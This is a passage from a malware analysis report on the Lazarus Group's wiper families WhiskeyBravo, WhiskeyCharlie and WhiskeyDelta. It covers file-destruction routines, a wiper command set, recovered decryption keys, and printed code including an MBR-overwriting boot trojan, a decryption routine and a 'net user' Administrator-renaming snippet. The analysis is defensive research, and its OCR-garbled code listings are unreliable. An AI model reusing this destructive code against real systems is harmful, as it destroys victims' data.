The **%SYSDIR%**\dnsec.dat file is not a by-product of IndiaGolf. It appears that the file, if introduced by an external application, can override the activation delay by containing the value of o or extend the activation delay up to 10 days by having a positive value. WhiskeyBravo limits the activation delay to 10 days. Any modification to the activation delay by the introduction of the **%SYSDIR%**\dnsec.dat file will force WhiskeyBravo to save a new copy of the **%SYSDIR%**\dnsec.dat file to disk. However, once WhiskeyBravo is in attack mode and no longer in wait mode, the **%SYSDIR%**\dnsec.dat file will have no impact on WhiskeyBravo's operation. In other words, once the operation begins it cannot be stopped short of terminating the WhiskeyBravo process.

WhiskeyBravo-One both overwrites and deletes any file selected for destruction. For any file that WhiskeyBravo-One selects for destruction, the file endures the following sequence of events:

- I. The file's attributes are changed to **FILE_ATTRIBUTE_NORMAL** to remove a possible read-only flag
- 2. The size of the file is used to generate a heap memory buffer that matches the same size of the file with an upper limit 4 MB
- 3. The heap memory buffer is zeroed out and written over the entirety of the selected file starting at byte o
- 4. If the selected file is less than 10 MB, a ZIP file is generated having the same filename as the selected file with a **.cab** extension added. The selected file is stored, not compressed, within the new ZIP archive and secured with a randomly generated 8-character password.
- 5. If the **.cab** file is generated and has a size smaller than the original selected file, up to 4 MB of NULL bytes are appended to the end of the **.cab** file until it reaches a size equal to that of the original selected file.
- 6. The selected file is deleted using **DeleteFileW**.

Several items are noteworthy regarding the method that WhiskeyBravo-One uses to destroy a file. First, the code that generates the **.cab** file can be found in other Lazarus Group malware families and constitutes nearly 77% of the non-C RunTime (CRT) library functions within the WhiskeyBravo-One executable. Secondly, the end result is that the destruction operation can give the impression that the original selected file is recoverable if the user is able to crack the archive's password. This is a bit of a cruel joke to play on the victim by giving them a glimmer of hope when, in actuality, the file is most definitely destroyed and attempting to recover the file via the archive would be fruitless and a waste of resources.

3.2 WhiskeyBravo-Two

.

WhiskeyBravo-Two is a simplified variant of WhiskeyBravo-One that removes the **dnsec.dat** functionality from the activation window determination code as well as the archive functionality from the file destruction code. WhiskeyBravo-Two expects the operation configuration file to be located at **%SYSDIR%\TYEI08.DEP** instead of **%SYSDIR%\noise03.dat**.

The file destruction process within WhiskeyBravo-Two focuses solely on overwriting the contents of a file and ignores the task of deleting the file. This results in any file marked for destruction remaining on the victim's file system, with the same file size, but with completely useless content. Furthermore, WhiskeyBravo-Two removes the **.cab** generation entirely. The removal of the **.cab** generation, and the functions necessary for that operation, results in a significantly smaller binary footprint that consists of a total of 21 functions, 8 of which are made of the CRT library and 3 are administrative overhead (service related), leaving 10 functions responsible for the destructive functionality of the malware.



4. [Wiper] WhiskeyCharlie



The malicious malware identified by Novetta as WhiskeyCharlie is a configurable hard drive contention destroyer. Observed as one of the payloads of IndiaDelta and loaded into memory and activated by LimaAlfa, WhiskeyCharlie is a DLL-based wiper that goes to great lengths to ensure the complete destruction of data on a victim's hard drives.

WhiskeyCharlie contains only one exported function, the function named **Register**. This function requires three arguments, all null-terminated strings: a string defining the location of a command file, a string defining the decryption string for the command file, and a string specifying the number of seconds to delay before WhiskeyCharlie begins processing the command file instructions. The core of WhiskeyCharlie is incredibly simple:

- I. Verify that the delay string is a real number (consists of characters between 0 and 9)
- 2. Load the command file into memory
- 3. Delete the command file from disk
- 4. Delay the number of seconds specified before processing the command file instructions
- 5. Process the command file instructions
- 6. Terminate

The command file consists of a sequence of command instructions each made up of a minimum of 8 bytes. Table 4-1 identifies the format for WhiskeyCharlie insutrctions within the command file.

OFFSET	SIZE	FIELD ID	DESCRIPTION
0	4 Bytes	type	Instruction Type
4	4 Bytes	size	Size of the entire instruction (minimum value is 8, maximum value is 4095)
8	Variable (0 or More Bytes)	args	Instruction's arguments

Table 4-1: WhiskeyCharlie's Command File Instruction Format

The developer(s) of WhiskeyCharlie encrypt the contents of the command file by using a variable length XOR string. Since XOR decryption is somewhat trivial on files that contain a significant number of NULL (o) values in the original decrypted data, the developer(s) use junk bits within the type and size fields and merely bitwise-AND off the unnecessary bits after decryption. For example, the type field consists of 4 bytes on disk, but from the perspective of the command processor only the least significant byte is important. Therefore, the value **01 03 46 08** after decryption for the type field is reduced to just **01**. Similarly, the size field is masked with **0xFFF** meaning that more than half of its bits on disk are junk bits.

The decryption string is supplied by the user of WhiskeyCharlie, making decryption of the command file difficult (but not impossible) without firsthand knowledge of the correct decryption key. Interestingly, there is no code that attempts to verify the correct decryption of the command file. The command file will be decrypted using whatever string was supplied by the user and then processed regardless of its validity.

WhiskeyCharlie contains 22 different supported commands, seen in Table 4-2 below. While currently only one sample of WhiskeyCharlie has been found in the wild (which is not surprising given its ability to completely destroy a victim's hard drive), evidence suggests that there are other WhiskeyCharlie samples that have been developed. This theory is supported by the fact that there are 3 missing commands within the command processor of the analyzed WhiskeyCharlie sample.

INSTRUCTION TYPE	INTERNAL NAME	DESCRIPTION
1	[mode]	Sets the number of overwrite iterations the various delete commands will perform. Takes a single ASCII decimal number as the argument for the command. Valid values are: 0, 1, 3, and 5. 0 will disable the overwrite functionality, and values outside of 1, 3, and 5 will default to 7 overwrite iterations.
2	[file]	Securely deletes a file by overwriting the file with random data (the number of over- writes is determined by the value set by Command 1). The file's name is replaced with a randomly generated string consisting of only upper-case letters. The command takes a single argument which is the target file to delete.
3	[dirr]	Performs a secure delete (see Command 2) for all files within a specific directory that match a given file mask. The command takes two arguments separated by a (pipe) character. The structure of the arguments is <target directory=""> <file mask="" string="">. Files that do not match the file mask (e.g. *.exe) are not deleted.</file></target>
4	[dira]	Same as Command 3 but will recursively delete all files in child directories of the target directory.
5	[ntfs]	Produces 10000 files in a target directory (or %TEMP % if no directory is specified) with the name pattern of ~WD {8 digit random number}.log, writes its own filename within the file, renames the file to ~WD {another 8 digit random number}.tmp, and then deletes the file. Effectively, this is wiping artifacts that may exist in the NTFS's directory tree by producing a significant number of files (and thus filenames) which it then frees. The command takes a single, optional argument of the target directory to produce the files within.
6	[wow64]	Changes the state of the Wow64 file redirection (e.g. accessing System32 in either 32-bit or 64-bit mode changes based on process type). Takes a single argument of either on or off .
7	[regk]	Deletes a registry key. Takes a single argument which specifies the full path of the registry key. The registry key must include the hive name in the form of HKEY_LOCAL_MACHINE , HKLM , HKEY_CURRENT_USER , HKCU , HKEY_CLASSES_ROOT , or HKEY_USERS .
8	[regv]	Deletes a registry key and its values as well as any subkeys and values. Takes a single argument which specifies the full path of the registry key. The registry key must include the hive name in the form of KEY_LOCAL_MACHINE , HKLM , HKEY_CURRENT_USER , HKCU , HKEY_CLASSES_ROOT , or HKEY_USERS .
9	[regt]	Modifies the last write timestamp of a specified registry key to a random date between Jan 1, 2007 and Dec 28, 2013 (where months will never exceed 28 days). Takes a single argument which specifies the full path of the registry key. The registry key must include the hive name in the form of HKEY_LOCAL_MACHINE, HKLM, HKEY_CURRENT_USER, HKCU, HKEY_CLASSES_ROOT, or HKEY_USERS.
10	[svc]	Terminates and deletes the specified service. The command takes a single argument which specifies the name of the service to remove.
11	[pf]	Deletes the prefetch files from %WINDIR%\Prefetch directory using the same secure delete method as the [file] command. The optional argument to the command specifies a specific prefetch (.pf) file to delete or a file mask that specifies the prefetch files to delete. If the optional argument is missing, then all .pf files are deleted.
12	[run]	Executes the specified program in a hidden window. The command requires two arguments (separated by]): <cmd execute="" line="" to=""> <working directory=""></working></cmd>

INSTRUCTION TYPE	INTERNAL NAME	DESCRIPTION
13	[runw]	Same as the [run] command but waits for the program to terminate before continuing to the next command.
14	[kill]	Terminates a running process by name. Takes a single argument which specifies the name of the program to determine.
15	[hc]	NOP
16	[evc]	Destroys one or all events logs by (for Windows XP and older) calling ClearEventLog to purge the log and then using the [file] command to delete the backup .evt file or (for Windows Vista and newer) calls EvtClearLog (from wevtapi.dll) or uses wevtuil.exe cl <event log=""> /bu: backup file name> then uses the [file] command to delete the backup file. The command takes a single argument that specifies the event log to delete or * if all event logs are to be deleted.</br></event>
17	[evr]	NOP
18	[evs]	NOP
19	[mu]	Removes one or all applications from the most recently used (MRU) programs list within Windows. The command takes a single argument that specifies the name of the program to remove from the MRU list or * if all programs are to be removed. The command purges values that match the specified program (or all programs if * is given) under the following registry keys: HKCU\Software\ Microsoft\Windows\CurrentVersion\Explorer\UserAssist , HKCU\Software\Classes\Local Settings\Software\Microsoft\ Windows\Shell\MuiCache , and HKCU\Software\Microsoft\ Windows\ShellNoRoam\MUICache
20	[iec]	Deletes IE cache files. The command requires two arguments separated by with the first argument being the file mask to specify which cache files for the command to target and the second argument specifying the user profile to target.
21	[iei]	Deletes cookies, browsing history and download history files from %CSIDL_HISTORY% , %CSIDL_COOKIES% , %CSIDL_INTERNET_CACHE% , %CSIDLE_COOKIES%\IEDownloadHistory directories. The command takes an optional single argument that specifies the user profile to target.
22	[swap]	Purges the page file by enabling the clearing of the page file at shutdown (by setting HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\ Memory Management\ClearPageFileAtShutdown to 1) and then gener- ating an excessively large amount of memory to fill up the swap space (page file).
23	[hard]	 Systematically destroys the contents of a victim's hard drives by performing the following tasks: Calls the [swap] command Stops the Sens and Alerter services Overwrites the MBR of the first four attached hard drives [If argument is *] Renames files within %WIDIR% and %PROGRAMFILES% to a random string of uppercase letters after overwriting their contents and then deletes them. Opens a file handle to each hard drive (by means of \\.\PhysicalDrive{Drive Number}) and overwrites entire drive with random data. Shuts down Windows by calling ExitWindowsEx. The command takes only one optional argument that specifies if the victim's files are deleted or not (when * is given).
24	[self]	Generates and executes a suicide script.
25	[sleep]	Sleep delay. Takes a single argument that specifies the sleep time in seconds in ASCII decimal form.

Table 4-2: Instructions of WhiskeyCharlie



One of the most destructive features of WhiskeyCharlie is its secure delete function. This variant of secure delete consists of performing the following operations on a target file:

- I. If the file is read-only, make it writable
- 2. Based on the value set by the [mode] command, determine the number of overwrite iterations to perform on the file. The default value is 7, but it is possible to specify 1, 3, or 5 iterations. The overwrite functionality can be disabled by supplying the [mode] command the value of o
- 3. Perform an overwrite operation on the specified file, repeat until all requested iterations have been completed
- 4. Rename the target file's filename by replacing each character with a randomly selected uppercase character
- 5. Delete the file by calling the API function **DeleteFileA**

The overwrite operation that WhiskeyCharlie uses during secure delete operations begins by generating a 64KB buffer of random values (as supplied by 64K calls to **rand**), the target file is opened and one byte is appended to the end of the file, then each byte of the target file is overwritten with a value from the random value buffer, the writes are then flushed to disk. On the last iteration of the overwrite operation, the file size is set to o by calling the **SetEndOfFile** function and then the changes to the file are flushed to disk by calling **FlushFileBuffers**. This means that not only is the data within the file completely destroyed by one or more iterations of random data being written over the original data, but the file's size is also corrupted, making it difficult to determine how big the file was originally.

While the command file is encrypted, as mentioned previously, it was possible to recover the decryption key string of m140chi1a0shi! and decrypt the contents of a known command file dropped by IndiaDelta (sample SHA-256: d7b50b1546653bff68220996190446bdc7fc4e38373715b8848d1fb44fe3f53c (see Table 4-3). This command file shows a real world example of how the attackers use WhiskeyCharlie to attack a victim's computer. The command file consists of a significant number of service deletions and file deletions prior to performing a full hard drive destruction task. It is clear from the nature of WhiskeyCharlie's instruction set and the recovered command file that the use of WhiskeyCharlie on a victim's machine is the final stage of an attack, as there will be no usable data left on the victim's hard drive once the malware has completed its task.

COMMAND	ARGUMENTS	DESCRIPTION OF ACTION
[mode]	3	Sets the overwrite iteration for secure deletes to 3 iterations
[pf]	*	Deletes all prefetch entries
[evc]	*	Deletes all event logs
[mu]	*	Removes all MRU entries for all applications
[kill]	verclvid.exe	Terminates any process named verclvid.exe
[svc]	gensvc	Stops and removes service named gensvc
[svc]	twrasvc	Stops and removes service named twrasvc
[svc]	ZWZSVC	Stops and removes service named zwzsvc
[svc]	esthsvc	Stops and removes service named esthsvc
[svc]	bgyesvc	Stops and removes service named bgyesvc
[svc]	zwdfsvc	Stops and removes service named zwdfsvc
[svc]	rvtqsvc	Stops and removes service named rvtqsvc
[svc]	dzkrsvc	Stops and removes service named dzkrsvc
[svc]	trvesvc	Stops and removes service named trvesvc
[svc]	ilpksvc	Stops and removes service named ilpksvc
[svc]	rwzsvc	Stops and removes service named rwzsvc
[svc]	kfvesvc	Stops and removes service named kfvesvc
[svc]	kznsvc	Stops and removes service named kznsvc

COMMAND	ARGUMENTS	DESCRIPTION OF ACTION
[svc]	jiusvc	Stops and removes service named jiusvc
[svc]	ocynsvc	Stops and removes service named ocynsvc
[svc]	ithsvc	Stops and removes service named ithsvc
[svc]	zxtxsvc	Stops and removes service named zxtxsvc
[svc]	mujsvc	Stops and removes service named mujsvc
[svc]	dmosvc	Stops and removes service named dmosvc
[svc]	rhpysvc	Stops and removes service named rhpysvc
[svc]	crxlsvc	Stops and removes service named crxlsvc
[svc]	hnbsvc	Stops and removes service named hnbsvc
[svc]	epdtsvc	Stops and removes service named epdtsvc
[svc]	jdfsvc	Stops and removes service named jdfsvc
[svc]	pdaisvc	Stops and removes service named pdaisvc
[file]	verclvid.exe	Securely deletes file named verclvid.exe
[file]	gensvc.dll	Securely deletes file named gensvc.dll
[file]	twrasvc.dll	Securely deletes file named twrasvc.dll
[file]	zwzsvc.dll	Securely deletes file named zwzsvc.dll
[file]	esthsvc.dll	Securely deletes file named esthsvc.dll
[file]	bgyesvc.dll	Securely deletes file named bgyesvc.dll
[file]	zwdfsvc.dll	Securely deletes file named zwdfsvc.dll
[file]	rvtqsvc.dll	Securely deletes file named rvtqsvc.dll
[file]	dzkrsvc.dll	Securely deletes file named dzkrsvc.dll
[file]	trvesvc.dll	Securely deletes file named trvesvc.dll
[file]	ilpksvc.dll	Securely deletes file named ilpksvc.dll
[file]	rwzsvc.dll	Securely deletes file named rwzsvc.dll
[file]	kfvesvc.dll	Securely deletes file named kfvesvc.dll
[file]	kznsvc.dll	Securely deletes file named kznsvc.dll
[file]	jiusvc.dll	Securely deletes file named jiusvc.dll
[file]	ocynsvc.dll	Securely deletes file named ocynsvc.dll
[file]	ithsvc.dll	Securely deletes file named ithsvc.dll
[file]	zxtxsvc.dll	Securely deletes file named zxtxsvc.dll
[file]	mujsvc.dll	Securely deletes file named mujsvc.dll
[file]	dmosvc.dll	Securely deletes file named dmosvc.dll
[file]	rhpysvc.dll	Securely deletes file named rhpysvc.dll
[file]	crxlsvc.dll	Securely deletes file named crxlsvc.dll
[file]	hnbsvc.dll	Securely deletes file named hnbsvc.dll
[file]	epdtsvc.dll	Securely deletes file named epdtsvc.dll
[file]	jdfsvc.dll	Securely deletes file named jdfsvc.dll
[file]	pdaisvc.dll	Securely deletes file named pdaisvc.dll
[hard]		Destroys the content of all hard drives and shuts down Windows

Table 4-3: Contents of a WhiskeyCharlie Command File Found in the Wild



5. [Wiper] WhiskeyDelta



WhiskeyDelta is a family of destructive malware that destroys all the data on a victim's hard drive on the file system and sector level. There are two known versions of WhiskeyDelta, WhiskeyDelta-One and WhiskeyDelta-Two. WhiskeyDelta-One represents a baseline for the feature set within the WhiskeyDelta family, while WhiskeyDelta-Two adds C2 communication, wraps the core WhiskeyDelta code within a service executable, and renames the Administrator account.

The core WhiskeyDelta functionality consists of the following tasks:

- I. Decrypt the name of two services (**Alerter** and **SENS**) as well as the data blob that WhiskeyDelta uses to replace the MBR of attached hard drives
- 2. Stop the **Alerter** and **SENS** services on the victim's computer
- 3. Get partition information for all physical drives
- 4. Replace the MBR for each physical drive attached to the victim's computer with a Trojanized MBR and corrupt the partition table
- 5. Enumerate all files on all lettered drives (C:, D:, etc.) and delete the files that meet a specific criteria (which is variant-specific)
- 6. Overwrite the first 132 MB (WhiskeyDelta-One) or 1.5 MB (WhiskeyDelta-Two) of each partition of each physical drive with random data from heap memory
- 7. [Windows XP or older] Overwrite each sector of each partition of each physical drive with random data from heap memory or [Windows Vista or newer] overwrite ox7Coo bytes starting at sector 1 with random data from heap memory

WhiskeyDelta uses a decryption scheme that differs from the majority of the Lazarus Group's families. Seen in Figure 5-1, the scheme consists of multiple XORs to mutate an array and then apply an XOR to each byte of the encrypted data. WhiskeyDelta uses the encryption scheme to decrypt the names of the two services to stop (Task 2) as well as the data blob containing the MBR Trojan (Task 4). WhiskeyDelta-One requires that the key to decrypt the data be present on the command line while WhiskeyDelta-Two supplies the key. Fortunately for analysts, the key appears to be the same across both variants: uANcspWJk9DByduoaXBCq0DZZF3jZKDI.

```
void Decrypt(char *pvData, int dwLength, const void *pszKey)
{
  char sbox[32];
  int i = 0;
  qmemcpy(sbox, pszKey, sizeof(sbox));
  if ( dwLength > 0 )
  {
    unsigned char k = sbox[0];
    do
    ł
      k ^= sbox[31] ^ sbox[21];
      pvData[i] ^= k;
      int j = 30;
      do
        sbox[j + 1] = sbox[j];
        --j;
      }
      while (j > -1);
      ++i;
      sbox[0] = k;
    }
    while ( i < dwLength );
  }
}
```

Figure 5-1: WhiskeyDelta's Decryption Function

Task 4, the MBR replacement (seen in Figure 5-2), has remarkable structural and functional similarities to the MBR Trojan used by WhiskeyAlfa-Three (see Section 2.3) in the SPE attack. The MBR Trojan begins by reading a copy of the first drive's (drive ox80) MBR into memory at **0000:7000** (using the real mode memory model). The MBR Trojan enters an endless loop where the following events occur:

- 1. Random data from memory at **0000:0000** through **0000:FFFF** is written to each physical drive starting at sector o and incrementing by 192 sectors for 256 writes per drive.
- 2. The original MBR is copied to the sector o of the first physical drive (drive **0x80**)
- 3. The loop repeats indefinitely.

The Disk Access Packet (DAP) specifies that the disk write operation will overwrite 128 sectors with random data from memory at 0000:0000 through 0000:FFFF, but after each write the pointer to the next sector is incremented by 192 sectors, meaning that 64 sectors are left untouched for each write. It is unclear why the start of the next write operation is incremented by 192 when the memory write is 128 sectors. The 128 sector limitation, in this case, is most likely due to the 64Kb boundary issue that occurs in 16-bit mode. In any case, assuming an ideal situation, the MBR Trojan will destroy the data on the attached hard drives.

MBR:7C00	start:	xor	ax,	ax		
MBR:7C02		mov	ss,	ax		
MBR:7C04		mov	sp,	7C00h		
MBR:7C07		sti				
MBR:7C08		push	ax			
MBR:7C09		pop	es			
MBR:7C0A		push	ax			
MBR:7C0B		pop	ds			
MBR:7CUC		cld				
MBR: /CUD		mov	S1,	orrset dapM	BR	Physical design number
MBR: 7C10		mov	ar,	80n 42b	<i>;</i>	Funct EXTENDED DEAD
MBR:7C12		mov	an,	4211	i	FUNC: EXTENDED READ
MBR:7C14		int	12h	0		BIOS DISK function
MBR.7C18		mov		offeet dan	΄.	SI = PTP + 0 DAP
MBR:7C1B		xor	CX.	cx	'	
MBR:7C1D			0,			
MBR:7C1D	1000:					
MBR:7C1D	-	inc	сх			
MBR:7C1E		cmp	cx,	2048		
MBR:7C22		jz	shoi	t duplicate	MBI	ર
MBR:7C24		2		-		
MBR:7C24	overwriteSectors	з:				
MBR:7C24		mov	ah,	43h	;	Func: EXTENDED WRITE
MBR:7C26		mov	al,	0	;	Verify Flag = No Verify
MBR:7C28		int	13h		;	BIOS DISK function
MBR:7C2A		inc	dl		;	Physical drive number
MBR:7C2C		mov	al,	dl		
MBR:7C2E		cmp	al,	84h	;	last physical drive?
MBR:7C30		jl	shoi	rt overwrite	Sed	ctors
MBR:7C32		mov	dl,	80h	;	use first physical drive
MBR:7C34		mov	bp,	offset dap.	lba	StartingSectorToWrite
MBR:7C37		add	word	d ptr [bp+0]	, 1	92
MBR:7C3C		adc	word	d ptr [bp+2]	, 0	
MBR:7C40		adc	word	d ptr [bp+4]	, 0	
MBR:7C44		adc	word	d ptr [bp+6]	, 0	
MBR:7C48		jmp	sho	rt loop		
MBR:7C4A	;					
MBR:7C4A	1 . 1					
MBR: /C4A	duplicatembk:				1 1	Obernhine Cerchen Merike
MBR: 7C4A		mov	ax,	ptr ds:dap.	TDa	StartingSectorTowrite
MBR: 7C4D		mov	as:/	TASh, ax	1	CtontingCostonMoWnite+2
MBR: 7C50		mov	da.7	177h as:dap.	LDa	StartingSectoriowrite+2
MBR.7C55		mov	us./	ntr de dan	lha	StartingSectorToWrite+4
MBR.7C50		mov	de.7	1ACh av	LDa	StartingSectoriomitter4
MBR:7050		mov	ay.	ntr de dan	lba	StartingSectorToWrite+6
MBR:7C5F		mov	de.7	1AEb av	LDa	StartingSectoriomittero
MBR:7C62		mov	si.	offset dapM	BR	
MBR:7C65		mov	ah.	43h	;	Func: EXTENDED WRITE
MBR:7C67		mov	al,	0	;	Verify Flag = No Verify
MBR:7C69		int	13h		;	BIOS DISK function
MBR:7C6B		xor	cx,	cx	,	
MBR:7C6D		mov	si,	offset dap		
MBR:7C70		jmp	sho	rt loop		
MBR:7C70	;					
MBR:7C72	junkData	db 5Ch,	8Ah	, 6, 0, 0C1h	, 5	0h, 1, 2 dup(0)
MBR:7C72		db 5Eh,	114h	dup(0)		
MBR:7D90	dapMBR	db 10h			;	size
MBR:7D90		db 0			;	unused _ zero
MBR:7D90		dw 1			;	sectorCount
MBR:7D90		dd 7000h			;	ptrToDataToWrite
MBR:7D90		dq 0			;	lbaStartingSectorToWrite
MBR:7DA0	dap	db 10h			;	size
MBR:7DA0		db 0			;	unused _ zero
MBR:7DA0		dw 128			;	sectorCount
		0 bb				ntrToDataToWrite
MBR:7DA0		1 0			'	periodacaiomitice
MBR:7DA0 MBR:7DA0		dq 0			;	lbaStartingSectorToWrite

Figure 5-2: WhiskeyDelta's MBR Trojan Code



Prior to writing the MBR Trojan to the physical disks, the partition information is destroyed by replacing the starting sector LBA value, the partition type value, and the starting sector CHS address values with random data. This renders the partition type information inaccessible by means of parsing the MBR going forward, but it would still be possible to look at the size of the partition by the partition size field and the partition's end sector LBA value to calculate the original starting sector LBA.

After replacing the MBR with the Trojanized MBR, WhiskeyDelta begins the process of destroying files from the victim's computer by enumerating all the files on all of the lettered drives. Starting at drive **A**: and progressing through drive **Z**:, WhiskeyDelta recursively scans through each directory and their subdirectories looking for files that meet a specific criteria, typically a specific file extension as explained in following sections on the WhiskeyDelta variants. WhiskeyDelta does not enumerate any files within the **%WINDIR%** and **%PROGRAMFILES%** directories. For each file found that meets the criteria for destruction, WhiskeyDelta overwrites the file with random data. The specifics of the overwrite are variant-dependent. After overwriting a file's contents, the file is deleted.

WhiskeyDelta performs two different sector overwrite attacks. Using the partition information obtained during Task 3, WhiskeyDelta overwrites either 132 MB (WhiskeyDelta-One) or 1.5 MB (WhiskeyDelta-Two) starting at the first sector of each partition on each physical drive. WhiskeyDelta uses random data from the heap to perform the overwrite task.

If the victim's machine is running Windows XP or older, after destroying the data on the physical drive at the partition boundaries, WhiskeyDelta then overwrites the entirety of the physical drive using eight threads to divvy the work load before finally using a single thread to overwrite the entirety of the physical drive in sequential sector order. For those victims running Windows Vista and newer, the final task consists of overwriting ox7Coo bytes (31,744 bytes) of the boot sectors starting at sector I (LBA offset 512) using random bytes from heap memory. The WhiskeyDelta change in behavior based on the operating system's version relates to the changes that were introduced with Windows Vista and newer regarding the way raw disk access is handled:⁹ Vista and newer versions of Windows can only access the boot sectors via the **\\.\PhysicalDrive** interface.

⁹ Microsoft. "Changes to the file system and to the storage stack to restrict direct disk access and direct volume access in Windows Vista and in Windows Server 2008" https://support.microsoft.com/en-us/kb/942448 31 January 2008.

5.1 WhiskeyDelta-One

• • • • • • •

WhiskeyDelta-One provides the baseline for the WhiskeyDelta variants in term of functionality and design. Consisting of only 13 non-library functions, WhiskeyDelta-One is a streamlined executable that was designed and executed for the sole purpose of data destruction. There are a few notable features found in WhiskeyDelta-One that are not found in WhiskeyDelta-Two:

- I. The task of obtaining the partition information for the physical drives (Task 3) is a IOCTL call
- 2. The file selection criteria for the file destruction task (Task 5) is limited to a small subset of file extensions for those files larger than 4 MB.
- 3. The file destruction operation against selected files is simple and independent of selection criteria, unlike WhiskeyDelta-Two
- 4. The file destruction operation is single-threaded, and therefore more time-consuming

WhiskeyDelta-One, despite its simplicity, does require a password for it to operate successfully. The task of decrypting the names of the Windows services the malware stops and decrypting the MBR Trojan require a 32-byte alphanumeric password to be supplied on the command line. While this does aide in hampering analysis of the MBR Trojan, it also provides additional work for the attacker to ensure the correct password is supplied. There is no error checking to ensure the validity of the password so it is entirely possible for the attacker (or any analyst) to supply an incorrect password, resulting in invalid strings for the names of the services and an invalid MBR Trojan. However, given the significant number of other destructive attacks the malware employs, it is unlikely that such a failure on the part of the attacker would interfere in any data destruction given a long enough running time for the malware.

WhiskeyDelta-One uses a **DeviceIoControl** call for **IOCTL_DISK_GET_DRIVE_LAYOUT_EX** in order to obtain the configuration of the physical drives. WhiskeyDelta-One stores this information in a global array that later operations (specifically the partition and sector overwrite tasks) will use once the MBR data has been corrupted.

When selecting files for destruction during the file destruction operation (Task 5), WhiskeyDelta-One looks at the file extension to determine if a file should be overwritten with random data. The bulk of the files that WhiskeyDelta-One targets (Figure 5-3) fall under the category of source code and corporate documents.

.php	.gul	.alz
.asp	.hwp	.rar
.aspx	.doc	.zip
.jsp	.docx	.cpp
.java	.xls	.h
.kwp	.xlsx	.c
.eml	.ppt	
.pst	.pptx	
.wpd	.pdf	
.wri	.mdb	

Figure 5-3: WhiskeyDelta-One's File Extension Targeting List

The destruction process is size-dependent. For those files that are less than 4 MB in size and have the desired file extension, the overwrite process consists of writing 256KB over the file regardless of the file's original size. If a file is over 4 MB in size, regardless of its file extension, the overwrite process consists of overwriting the first 256 KB of the file and the last 256 KB of the file. Regardless of whether or not a file is selected for destruction by overwriting its data, the file is deleted via a call to **DeleteFile**.

5.2 WhiskeyDelta-Two

• • • • • • •

Augmented with C2 reporting functionality, more robust file selection criteria, the ability to modify the victim's Administrator account name, and constructed as a service executable under the service name RPCSecruity (complete with misspelling), WhiskeyDelta-Two is an escalation in functionality over WhiskeyDelta-One. WhiskeyDelta-Two does not require a command line argument to decrypt the MBR Trojan or the names of the services to stop, meaning that the services names and MBR Trojan will always properly decode. WhiskeyDelta-Two does, however, take a single command line argument (a number) that it later transmits to a C2 server as part of a larger status report transmission.

The first notable difference in WhiskeyDelta-Two is the inclusion of a function that attempts to rename the administrator's account. Spawned as its own thread, the function will sleep for 10 seconds before attempting to execute the code in Figure 5-4.

```
srand(time(0));
w = rand();
x = rand();
y = rand();
z = rand();
sprintf(newName, "HaHaHa_%d%d%d%d", z, y, x, w);
sprintf(CmdLine, "cmd.exe /c net user Administrator %s", newName);
WinExec(CmdLine, 0);
```

Figure 5-4: WhiskeyDelta-Two's Administrator Account Renaming Code

If successful, the Administrator account will be renamed with HaHaHa_ followed by 4 to 20 digits. WhiskeyDelta-Two modifies the registry, in much the same way as WhiskeyCharlie's [swap] command (see Section 4), to force the Windows operating system to purge the page file once the victim's machine shuts down. Unlike WhiskeyCharlie, however, WhiskeyDelta-Two does not induce paging by filling large heap arrays with random data.

When obtaining partition information for the attached physical drives, WhiskeyDelta-Two reads the drive's MBR and parses the partition tables directly. The information about the partitions is then stored in a pair of global arrays which the partition and sector overwrite operations later use to determine the size and offsets of the partitions and the overall size of the drives.

Having replaced the MBR with the MBR Trojan, WhiskeyDelta-Two reports its status by randomly selecting from the C2 server addresses hardcoded within itself and attempting to connect to the server. The communication between WhiskeyDelta-Two and its C2 server consists of a handshake/authentication test and two data transmissions encrypted with the DNSCALC-style encoding scheme.

DNSCALC is an older malware family, used by several APT groups and first profiled in 2010, whose claim to fame was the use of DNS lookups for domain names that would return specific IP addresses used to calculate the listening port number for the C2 server. One notable feature of DNSCALC was the use of a combination of XOR with an ADD operation and XOR with a SUB operation for the purposes of encrypting and decrypting data streams. Since at least 2011, the Lazarus Group has commandeered this technique for use in a variety of their malware families. The DNSCALC version of this encoding/decoding scheme performed the transformation operation on each byte using two lines of C code such as

d += 122; d ^= 25;

where the values 122 and 25 constitute the encryption and decryption keys. The Lazarus Group performs the same operation in a single line of code, such as

d = (e ^ 25) - 122

and

 $e = (d + 122) ^ 25$

This subtle, but important, distinction in style indicates that the code was not directly copied from DNSCALC, but rather was inspired by DNSCALC or another source that performs the same transform. It should be noted that DNSCALC modified the Ghost RAT **MyEncode** function, seen below, by reversing the order of operations meaning that the Lazarus Group's use of the encoding scheme represents a derivation of an existing derivation.

```
char* MyEncode(char *str)
{
       int
                      i, len;
       char *p;
       char *s, *data;
       len = strlen(str) + 1;
       s = (char *)malloc(len);
       memcpy(s, str, len);
       for (i = 0; i < len; i++)
       {
              s[i] ^= 0x19;
              s[i] += 0x86;
       }
       base64 encode(s, len, &data);
       free(s);
       return data;
}
```

The DNSCALC-style encoding scheme code is heavily used throughout many of the various malware families for which the Lazarus Group is responsible.



The handshake/authentication test consists of WhiskeyDelta-Two generating a 16-byte random buffer that it encodes using the DNSCALC-style encoding before sending to the C2 server. The C2 server responds with the same 16-byte random buffer encrypted with DNSCALC-style encoding that WhiskeyDelta-Two removes to reveal the decrypted 16 bytes. The decrypted response from the C2 server is then compared to the original 16-byte buffer to ensure they are identical. Failing this, the connection between the C2 server and the WhiskeyDelta-Two malware is terminated.

While WhiskeyDelta-Two's system of authentication seems somewhat rational at face value, it is heavily flawed. Since the data buffer being sent to the C2 server is encoded with the reciprocal scheme that WhiskeyDelta-Two uses to decrypt the data stream, the C2 server merely needs to mirror requests from the WhiskeyDelta-Two malware as the C2 server's response. As a result, this provides absolutely no authentication for the malware.

After the authentication phase, communication between WhiskeyDelta-Two and the C2 server takes the form of DNSCALC-style encoded datagrams. The format for the datagrams is straightforward, as seen in Table 5-1, and is a scheme used in a multitude of other Lazarus Group malware families, contributing to a shared code base that enabled Novetta to link seemingly unconnected malware families to the Lazarus Group. At a minimum, a datagram consists of a type field and a payload size field contributing to a minimum datagram size of 6 bytes. An optional payload field can have a size of up to 262 bytes, meaning the maximum allowed datagram is 268 bytes in size.

OFFSET	SIZE	DESCRIPTION
0	4 Bytes [DWORD]	Datagram Type (Set to 0x811)
4	2 Bytes [WORD]	Payload Size (Set to 0)
6	Variable (0 to 262 Bytes)	Optional Payload Data

Table 5-1: WhiskeyDelta-Two's Datagram Structure

